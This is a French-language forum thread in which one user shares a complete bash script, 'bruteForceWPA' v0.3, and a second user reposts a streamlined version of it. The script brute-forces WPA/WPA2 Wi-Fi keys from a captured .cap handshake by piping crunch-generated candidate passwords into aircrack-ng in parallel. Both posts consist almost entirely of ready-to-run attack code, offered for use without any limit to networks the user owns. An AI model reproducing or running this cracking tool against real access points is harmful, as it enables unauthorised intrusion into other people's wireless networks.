Vous n'êtes pas identifié(e).
Salut, je suis Rodrigue Daniel
Je partage mon script bash permettant de craquer les clés WPA/WPA2 par force brute. Il s'agit de la version 0.3 améliorée à partir des conseils de IceF0x et des autres personnes dans un autre forum (hackademics)
En ce temps même, je suis en train d'écrire une version améliorée de mon script (version 1.0). Avec cette version une personne pourra lancer le crack de la clé WPA/WPA2 avec plusieurs machines en réseau. Donc non seulement, mon script pourra s'éxécuter en local, elle pourra aussi s'éxécuter en réseau avec deux ou plusieurs machines connectées afin d'accélérer le crack.
Voici le code de mon script pour la version 0.3
#!/bin/bash
#
# bruteForceWPA : Script de crack WIFI des clés WPA/WPA2
# Rodrigue Daniel (email : rodrigue_daniel@yahoo.com)
# Mon blog : rodriguedaniel.blogspot.com
# 16/08/2015
# Dépendances : crunch, aircrack-ng, parallel (version 3)
# Testé sur Ubuntu et Kali Linux
set -u
###########################################################################################
# Definitions des variables
mini="" # variable contenant la longueur minimale des mots de passe
maxi="" # variable contenant la longueur maximale des mots de passe
ensCarac="" # variable contenant l'ensemble des caractères à utiler
numEnsCarac="" # variable contenant le numero de l'ensemble des caractères à utiliser
fichierCap="" # variable contenant le fichier .cap à craquer
chaineEssid="" # variable contenant la chaîne essid du point d'accès WIFI
option="" # variable contenant les options
optionSeul="" # variable spécifiant le traitement unique de l'option -h ou --help
comSyntOpt="" # variable spécifiant que la combinaison des options a et m est interdite
versionParallel="" # variable contenant la version du programme parallel
dependance=""
# Ensemble des caractères à utiliser
format1='1 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ]'
format2='2 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]'
format3='3 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+= ]'
format41='4 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~[]{}|\:;"'
format42="'"
format43='<>,.?/ ]'
###########################################################################################
# Debut du script
version="0.3"
clear
echo -e "\e[00;31m###########################################################\e[00m"
echo -e "\e[00;31m# #\e[00m"
echo -e "\e[00;31m# bruteForceWPA : crack wifi (WPA/WPA2) #\e[00m"
echo -e "\e[00;31m# #\e[00m"
echo -e "\e[00;31m###########################################################\e[00m"
# Vérification du mode root
if [[ $EUID -ne 0 ]]; then
echo -e "\n Erreur : Ce programme doit être éxécuté en root.\n"
exit 1
fi
# Vérification de la présence du programme crunch, aircrack-ng et parallel
declare -a tabDependances=(crunch aircrack-ng parallel) # Déclaration d'un tableau de dépendances
missingdep(){
echo -e "$RED\n Erreur : Impossible de trouver le programme $dependance, installez-le et réessayez.\n$NC"
exit 1
}
for dependance in "${tabDependances[@]}" ; do
which $dependance > /dev/null || missingdep
done
# Vérification de la bonne version du programme parallel
versionParallel=$(parallel --will-cite --version 2> /dev/null | grep version | cut -d " " -f 6)
if [ $versionParallel -lt 3 ]; then
echo -e "\n Erreur : Installez une version >= 3 du programme parallel.\n"
exit 1
fi
# Définition des options du script
while getopts ":a:c:f:g:hm:p:-:" option ; do
if [ "$option" = "-" ] ; then
case $OPTARG in
help ) option=h ;;
#max ) option=g ;;
#min ) option=p ;;
* ) echo "$(basename $0): Option inconnue $OPTARG"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
option=""
;;
esac
fi
case $option in
h ) echo -e "\nVersion $(basename $0) $version - (C) 2015"
echo -e "Auteur: Rodrigue Daniel (email : rodrigue_daniel@yahoo.com) \n"
echo "Syntaxe : $0 [option...]"
echo -e "\nOptions :"
echo " -a <chiffre> : Numéro de l'ensemble des caractères ci-dessous à utiliser (par défaut -> 1)."
echo ""
echo -ne "\t"
echo $format1
echo -ne "\t"
echo $format2
echo -ne "\t"
echo $format3
echo -ne "\t"
echo -n $format41
echo -n $format42
echo $format43
echo -e "\t (Par défaut l'option -a est pris en compte)"
echo -e "\n -c <essid> : Nom essid du point d'accès WIFI (Option Obligatoire)."
echo " -f <chaine> : Nom du fichier d'extension '.cap' à craquer (Option Obligatoire)."
echo " -m <chaine> : Ensemble des caractères à saisir manuellement. Ne pas utiliser avec '-a' ."
echo " -g <entier> : Longueur maximun des mots de passe (par défaut -> 15)."
echo " -h, --help : Cet écran d'aide."
echo -e " -p <entier> : Longueur minimun des mots de passe (par défaut -> 5).\n"
optionSeul="o"
exit 1
;;
a ) if [ "$optionSeul" != "o" ] ; then
if [ "$comSyntOpt" = "m" ] ; then
echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
else
numEnsCarac=$OPTARG
case $numEnsCarac in
1 ) ensCarac="mixalpha-space";;
2 ) ensCarac="mixalpha-numeric-space";;
3 ) ensCarac="mixalpha-numeric-symbol14-space";;
4 ) ensCarac="mixalpha-numeric-all-space";;
esac
fi
fi
;;
c )if [ "$optionSeul" != "o" ] ; then
chaineEssid=$OPTARG
fi
;;
f ) if [ "$optionSeul" != "o" ] ; then
if [ "${OPTARG##*.}" != "cap" ] ; then
echo "Nom fichier incorrect"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
else
fichierCap=$OPTARG
fi
fi
;;
g ) if [ "$optionSeul" != "o" ] ; then
maxi=$OPTARG
fi
;;
m ) if [ "$optionSeul" != "o" ] ; then
if [ "$numEnsCarac" != "" ] ; then
echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
else
ensCarac=$OPTARG
comSyntOpt="m" # m -> configuration manuelle de l'ensemble des caractères à utiliser
fi
fi
;;
p ) if [ "$optionSeul" != "o" ] ; then
mini=$OPTARG
fi
;;
: ) if [ "$optionSeul" != "o" ] ; then
echo "Argument manquant pour l'option -$OPTARG"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
fi
;;
? ) if [ "$optionSeul" != "o" ] ; then
echo "$(basename $0): Option inconnue $OPTARG"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
fi
;;
esac
done
# Exécution du crack de la clé WPA/WPA2
i=${mini:-5}
j=${maxi:-15}
if [ $i -eq $j ] ; then
echo "1" > /tmp/temporaire
echo "$i" >> /tmp/temporaire
else
while [ $i -le $j ] ; do
echo "$i" >> /tmp/temporaire
i=$((i + 1))
done
fi
bruteForce ()
{
if [ "$numEnsCarac" = "" ] ; then
( crunch $1 $1 $ensCarac 2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
else
( crunch $1 $1 -f charset.lst $ensCarac 2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
fi
}
if [ "$optionSeul" != "o" ] ; then
if [ "$chaineEssid" = "" ] || [ "$fichierCap" = "" ] ; then
echo "Les options -c et -f sont obligatoires"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
else
export -f bruteForce
export numEnsCarac
export ensCarac
export fichierCap
export chaineEssid
parallel --will-cite --bar -a /tmp/temporaire bruteForce >/dev/null # Parallélisme
rm /tmp/temporaire
fi
fi
exit 0
Merci à vous. (version 1.0 en cours)
Dernière modification par rodrigue daniel (11-01-2016 00:31:54)
Passionné par la Sécurité Informatique.
Le véritable ennemi de la connaissance n'est pas l'ignorance mais l'illusion de la connaissance.
La quête de la connaissance passe d'abord par l'humilité et ensuite la détermination.
Hors ligne
un peu trop d'appel à echo j'ai donc modifié comme ceci
#!/bin/bash
#
# bruteForceWPA : Script de crack WIFI des clés WPA/WPA2
# Rodrigue Daniel (email : rodrigue_daniel@yahoo.com)
# Mon blog : rodriguedaniel.blogspot.com
# 16/08/2015
# Dépendances : crunch, aircrack-ng, parallel (version 3)
# Testé sur Ubuntu et Kali Linux
set -u
###########################################################################################
# Definitions des variables
mini="" # variable contenant la longueur minimale des mots de passe
maxi="" # variable contenant la longueur maximale des mots de passe
ensCarac="" # variable contenant l'ensemble des caractères à utiler
numEnsCarac="" # variable contenant le numero de l'ensemble des caractères à utiliser
fichierCap="" # variable contenant le fichier .cap à craquer
chaineEssid="" # variable contenant la chaîne essid du point d'accès WIFI
option="" # variable contenant les options
optionSeul="" # variable spécifiant le traitement unique de l'option -h ou --help
comSyntOpt="" # variable spécifiant que la combinaison des options a et m est interdite
versionParallel="" # variable contenant la version du programme parallel
dependance=""
# Ensemble des caractères à utiliser
format1='1 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ]'
format2='2 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]'
format3='3 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+= ]'
format41='4 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~[]{}|\:;"'
format42="'"
format43='<>,.?/ ]'
###########################################################################################
# Debut du script
version="0.3"
clear
echo -e "\e[00;31m###########################################################\e[00m"
echo -e "\e[00;31m# #\e[00m"
echo -e "\e[00;31m# bruteForceWPA : crack wifi (WPA/WPA2) #\e[00m"
echo -e "\e[00;31m# #\e[00m"
echo -e "\e[00;31m###########################################################\e[00m"
# Vérification du mode root
if [[ $EUID -ne 0 ]]; then
echo -e "\n Erreur : Ce programme doit être éxécuté en root.\n"
exit 1
fi
# Vérification de la présence du programme crunch, aircrack-ng et parallel
declare -a tabDependances=(crunch aircrack-ng parallel) # Déclaration d'un tableau de dépendances
missingdep(){
echo -e "\e[00;31m\nErreur : Impossible de trouver le programme $dependance, installez-le et réessayez.\n\e[00m"
exit 1
}
for dependance in "${tabDependances[@]}" ; do
which $dependance > /dev/null || missingdep
done
# Vérification de la bonne version du programme parallel
versionParallel=$(parallel -V | grep version | awk '{print $6}')
if [ "$versionParallel" -lt 3 ]; then
echo -e "\n Erreur : Installez une version >= 3 du programme parallel.\n"
exit 1
fi
# Définition des options du script
while getopts ":a:c:f:g:hm:p:-:" option ; do
if [ "$option" = "-" ] ; then
case $OPTARG in
help ) option=h ;;
#max ) option=g ;;
#min ) option=p ;;
* ) echo "$(basename $0): Option inconnue $OPTARG"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
option=""
;;
esac
fi
case $option in
h ) echo "
Version $(basename $0) $version - (C) 2015
Auteur: Rodrigue Daniel (email : rodrigue_daniel@yahoo.com)
Syntaxe : $0 [option...]
Options :
-a <chiffre> : Numéro de l'ensemble des caractères ci-dessous à utiliser (par défaut -> 1).
$format1
$format2
$format3
$format41$format42$format43
(Par défaut l'option -a est pris en compte)
-c <essid> : Nom essid du point d'accès WIFI (Option Obligatoire).
-f <chaine> : Nom du fichier d'extension '.cap' à craquer (Option Obligatoire).
-m <chaine> : Ensemble des caractères à saisir manuellement. Ne pas utiliser avec '-a' .
-g <entier> : Longueur maximun des mots de passe (par défaut -> 15).
-h, --help : Cet écran d'aide.
-p <entier> : Longueur minimun des mots de passe (par défaut -> 5).
"
optionSeul="o"
exit 1
;;
a ) if [ "$optionSeul" != "o" ] ; then
if [ "$comSyntOpt" = "m" ] ; then
echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
else
numEnsCarac=$OPTARG
case $numEnsCarac in
1 ) ensCarac="mixalpha-space";;
2 ) ensCarac="mixalpha-numeric-space";;
3 ) ensCarac="mixalpha-numeric-symbol14-space";;
4 ) ensCarac="mixalpha-numeric-all-space";;
esac
fi
fi
;;
c )if [ "$optionSeul" != "o" ] ; then
chaineEssid=$OPTARG
fi
;;
f ) if [ "$optionSeul" != "o" ] ; then
if [ "${OPTARG##*.}" != "cap" ] ; then
echo "Nom fichier incorrect"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
else
fichierCap=$OPTARG
fi
fi
;;
g ) if [ "$optionSeul" != "o" ] ; then
maxi=$OPTARG
fi
;;
m ) if [ "$optionSeul" != "o" ] ; then
if [ "$numEnsCarac" != "" ] ; then
echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
else
ensCarac=$OPTARG
comSyntOpt="m" # m -> configuration manuelle de l'ensemble des caractères à utiliser
fi
fi
;;
p ) if [ "$optionSeul" != "o" ] ; then
mini=$OPTARG
fi
;;
: ) if [ "$optionSeul" != "o" ] ; then
echo "Argument manquant pour l'option -$OPTARG"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
fi
;;
? ) if [ "$optionSeul" != "o" ] ; then
echo "$(basename $0): Option inconnue $OPTARG"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
fi
;;
esac
done
# Exécution du crack de la clé WPA/WPA2
i=${mini:-5}
j=${maxi:-15}
if [ $i -eq $j ] ; then
echo "1" > /tmp/temporaire
echo "$i" >> /tmp/temporaire
else
while [ $i -le $j ] ; do
echo "$i" >> /tmp/temporaire
i=$((i + 1))
done
fi
bruteForce ()
{
if [ "$numEnsCarac" = "" ] ; then
( crunch $1 $1 $ensCarac 2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
else
( crunch $1 $1 -f charset.lst $ensCarac 2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
fi
}
if [ "$optionSeul" != "o" ] ; then
if [ "$chaineEssid" = "" ] || [ "$fichierCap" = "" ] ; then
echo "Les options -c et -f sont obligatoires"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
else
export -f bruteForce
export numEnsCarac
export ensCarac
export fichierCap
export chaineEssid
parallel --will-cite --bar -a /tmp/temporaire bruteForce >/dev/null # Parallélisme
rm /tmp/temporaire
fi
fi
exit 0
Utiliser des logiciels propriétaires, c'est comme les plats préparés, on est incapable de dire les conservateurs qu'ils contiennent, on dira toujours que c'est bon, mais ça ne remplacera jamais le repas fait maison par sa maman.
]:D #! Crunchbang & Archlinux GNU/Linux User ]:D
Hors ligne